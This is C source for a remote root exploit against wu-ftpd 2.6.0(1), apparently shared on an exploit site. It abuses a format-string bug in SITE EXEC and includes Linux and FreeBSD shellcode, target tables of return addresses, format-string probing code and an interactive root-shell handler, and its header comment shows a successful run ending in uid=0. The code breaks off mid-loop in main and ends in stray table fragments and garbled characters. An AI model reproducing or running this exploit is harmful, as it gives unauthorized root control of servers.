/* This is for the mass amounts of people out there who were not able to hit the
correct retr_addr with the previously disseminated exploits. This one nailed my
machines perfectly. The previous problems were caused by the other exploits not
specifying the correct pointer to the shell code, ultimately leaving you with a
telnet session to PORT 21 of the vulnerable machine. While working with some
people over at MIT, we discovered that some machines were hit, while others
with the same configuration weren't. This is yet to be understood. Anyway, I've
attached it herein. This as you will notice is TF8's original distribution,
slightly modified. Notice the new AddrRetAddr field. If s0 doesn't work, I
would reccomend trying the other OS distributions in the list.
My command string was:
[root@soc1 source]# ./wuftpd-god -s0 -t localhost
Target: localhost (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
loggin into system..
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS
230-Next time please use your e-mail address as your password
230- for example: joe@localhost.localdomain
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now)
STEP 5 : Sending code.. this will take about 10 seconds.
Press ^\ to leave shell
Linux soc1.priv.nuasis.com 2.2.14-5.0smp #1 SMP Tue Mar 7 21:01:40 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
*/
/* wuftpd 2.6.0(1) fixed exploit by god-@EFNet
* >=) have phun
* god- */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef __linux
#include
#endif
#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"
char infin_loop[]= /* for testing purposes */
"\xEB\xFE";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";
char bsd_code_d[]= /* you should call it directly (no jump/call)*/
"\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
"\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
"\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
"\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
"\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
"\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
"\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
"\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
"\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
"\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
"\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
#define MAX_FAILED 4
#define MAX_MAGIC 100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;
struct targets {
int def;
char *os_descr, *shellcode;
int delay;
u_long pass_addr, addr_ret_addr;
int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};
struct targets targ[]={
{0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
{0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
{1,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
{0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624, {0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
{0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
{0,NULL,NULL,0,0,0,{0},{0},0}
};
void usage(char*zu,int q){
int i, n, padding;
fprintf(stderr,"Usage: %s -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
"target : host with any wuftpd\nuser : anonymous user\n"
"dir : if not anonymous user, you need to have writable directory\n"
"magic_str : magic string (see exploit description)\n-g : enables magic string digging\n"
"-x : enables test mode\npass_addr : pointer to setproctitle argument\n"
"ret_addr : this is pointer to shellcode\nsystypes: \n",zu);
for(i=0;targ[i].os_descr!=NULL;i++){
padding=0;
fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
if(q>1){
fprintf(stderr," Magic ID: [");
for(n=0;targ[i].magic[n]!=0;n++){
if(targ[i].magic_d[n]==4)
padding=targ[i].magic[n];
fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
if(targ[i].magic[n+1]!=0)
fprintf(stderr,":");
}
fprintf(stderr,"] Padding: %d\n",padding);
fflush(stderr);
}
}
exit(1);
}
int connect_to_server(char*host){
struct hostent *hp;
struct sockaddr_in cl;
int sock;
if(host==NULL||*host==(char)0){
fprintf(stderr,"Invalid hostname\n");
exit(1);
}
if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
if((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"Cannot resolve %s\n",host);
exit(1);
}
memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
}
if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
exit(1);
}
cl.sin_family=PF_INET;
cl.sin_port=htons(21);
if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
exit(1);
}
return sock;
}
int ftp_recv(int sock,char*buf,int buf_size,int disc){
int n=0;
char q;
if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
else {
(void)bzero(buf,buf_size);
n=recv(sock,buf,buf_size,0);
if(n<0){
fprintf(stderr,"ftp_recv: recv failed\n");
exit(1);
}
buf[n]=0;
}
return n;
}
int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
int n;
n=send(sock,what,size,0);
if(n!=size){
fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
shutdown(sock,2);
close(sock);
exit(1);
}
if(f)
return ftp_recv(sock,ans,ans_size,0);
return 0;
}
int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
ftp_send(sock,buff,buff_len,q,ans,ans_len);
if(strncmp(ans,"200-",4)==0)
ftp_recv(sock,NULL,0,1);
else
ftp_recv(sock,ans,ans_len,0);
if(strncmp(ans,"200-",4)){
fprintf(stderr,"Cannot find site exec response string\n");
exit(1);
}
return 0;
}
void ftp_login(int sock,char*u_name,char*u_pass)
{
char buff[2048];
printf("loggin into system..\n");
snprintf(buff,2047,"USER %s\r\n", u_name);
ftp_send(sock, buff,strlen(buff),1,buff,2047);
printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
snprintf(buff,2047,"PASS %s\r\n",u_pass);
printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"":u_pass);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
while(strstr(buff,"230 ")==NULL){
(void)bzero(buff,2048);
ftp_recv(sock,buff,2048,0);
}
printf("%s",buff);
return;
}
void ftp_mkchdir(int sock,char*cd,char*new)
{
char buff[2048];
sprintf(buff,"CWD %s\r\n",cd);
printf(GREEN"%s"NORM,buff);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf("%s",buff);
sprintf(buff,"MKD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"MKD "NORM"\n%s",buff);
sprintf(buff,"CWD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"CWD "NORM"\n%s",buff);
return;
}
void process_possibly_rooted(int sock)
{
fd_set fd_read;
char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sock, &fd_read) ) {
if((n=recv(sock,buff,sizeof(buff),0))<0){
fprintf(stderr, "EOF\n");
exit(2);
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
exit(2);
}
if(send(sock,buff,n,0)<0) break;
}
usleep(10);
}
fprintf(stderr,"Connection aborted, select failed()\n");
exit(0);
}
int magic_check_f(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
if( before_len+10 < strlen(&ans[3]) ) return 0;
before_len=strlen(&ans[3]);
(void)strcat(str,"%.f");
return 1;
}
int magic_check_o(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
if( before_len== strlen(&ans[3]) ) {
before_len+=1;
(void)strcat(str, "%d");
return 3;
}
before_len=strlen(&ans[3]);
(void)strcat(str,"%c");
return 2;
}
int magic_check_ok( int sock, char *str)
{
char q[2048], ans[2048];
int i ,n=1, f, padding=0;
snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
if ( strstr(q, "\r\n" ) == NULL) {
fprintf(stderr, "Line too long\n");
exit(-1);
}
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if(strstr(ans,"0x61616161")==NULL)
return 0;
for(i =0; i < MAX_MAGIC && magic[i]; i++);
magic_d[i]=4;
while(n){
for(f=0; f< 2; f++) {
snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if( strstr(ans, "0x61616161")!=NULL) {
if (f==0) {
magic[i]=padding;
return 1;
} else if( f==1) {
strcat(str,"%p");
magic[i]=padding;
return 1;
}
}
}
if(padding > 4) {
fprintf(stderr,"Cannot calculate padding..\n");
exit(1);
}
padding++;
}
return 1;
}
int magic_digger(int sock)
{
int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
if(magic_str==NULL){
if((magic_str=(char*)malloc(4092))==NULL){
perror("malloc");
exit(errno);
}
}
(void)bzero(magic_str, 4092);
where=0;
while(get_out) {
int q;
if( where >= MAX_MAGIC-1 || all_failed <= 0 )
return -1;
if( magic_check_f(sock, magic_str) ) {
o=0,f++;
if(f==1){
if(!magic[where])
magic[where]=1;
else
magic[++where]+=1;
magic_d[where]=1;
} else
magic[where]+=1;
all_failed=MAX_FAILED*2;
printf("%s", "%.f"); fflush(stdout);
goto verify;
}
all_failed--;
if((q=magic_check_o(sock,magic_str))){
f=0,o++;
if(o==1){
if(!magic[where])
magic[0]=1;
else
magic[++where]+=1;
magic_d[where]=q;
} else {
if(magic_d[where]==q)
magic[where]+=1;
else {
magic[++where]=1;
magic_d[where]=q;
}
}
all_failed=MAX_FAILED*2;
printf("%s", q==2?"%c":"%d");
fflush(stdout);
goto verify;
}
all_failed--;
continue;
verify:
if(magic_check_ok(sock,magic_str)){
putchar('\n');
return 0;
}
}
return 0;
}
int main(int argc, char *argv[]){
char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
u_long ret_addr=0, pass_addr=0;
for(i=0;targ[i].os_descr!=NULL;i++);
while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
switch(c) {
case 't': target=optarg;break;
case 'l':
username=optarg;
passwd=strchr(optarg,'/');
if(passwd==NULL)
usage(argv[0],0);
*passwd++=(char)0;
break;
case 'x': testmode=1; break;
case 'o': offset=atoi(optarg);break;
case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
case 'g': gm=1; break;
case 'M': dir=optarg;mtype=1;break;
case 'm':
{
int where=0;
if(!*optarg) {
fprintf(stderr,"-m requires argument, try -h for help\n");
exit(1);
}
while(1) {
magic[where]=strtoul(optarg,&optarg,16);
optarg=strchr(optarg,',');
if(optarg==NULL){
printf("comma missing\n");
exit(1);
}
optarg++;
magic_d[where++]=strtoul(optarg,&optarg,16);
if(strchr(optarg,':')==NULL){
magic[where]=magic_d[where]=0;
break;
}
optarg=strchr(optarg,':');
optarg++;
}
}
break;
case 's':
num=atoi(optarg);
if(num>i) {
fprintf(stderr,"systype too big, try -h for help\n");
exit(1);
}
break;
case 'r':
ret_addr=strtoul(optarg,&optarg,16);
break;
case 'P':
padding=atoi(optarg);
break;
case 'H':
bla=2;
default: usage(argv[0],bla);break;
}
}
if(target==NULL){
fprintf(stderr,"No target specified, try -h for help\n");
exit(1);
}
if(num==-1||num==-2) {
for(i=0;!targ[i].def;i++);
num=i;
}
(void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));
if(magic[1]!=0) {
memcpy((void*)getit.magic,magic,sizeof(magic));
memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
}
if(ret_addr)getit.addr_ret_addr=ret_addr;
if(pass_addr)getit.pass_addr=pass_addr;
getit.addr_ret_addr+=(offset*4);
sock=connect_to_server(target);
memset(shellcode, '\x90', sizeof(shellcode));
shellcode[sizeof(shellcode)-1]=(char)0;
if(!mtype){
memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
shellcode[sizeof(shellcode)-1]=(char)0;
}else{
memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
shellcode[250-1]=(char)0;
}
printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"":passwd,getit.os_descr);
printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
buff=(char *)malloc(1024);
bzero(buff,1024);
(void)ftp_recv(sock,NULL,0,1);
(void)ftp_login(sock,username,passwd);
if(gm||(magic_str==NULL&&getit.magic[0]==0)){
printf("STEP 2A: Generating magic string: ");
fflush(stdout);
magic_digger(sock);
memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
printf("STEP 2B: MAGIC STRING: [");
} else {
printf("STEP 2 : Skipping, magic number already exists: [");
}
for(i=0;i |
| |
|
| | | |
|
|
|
|
|
|
| |
ÑÇÖÞÅ·ÃÀÔÚÏß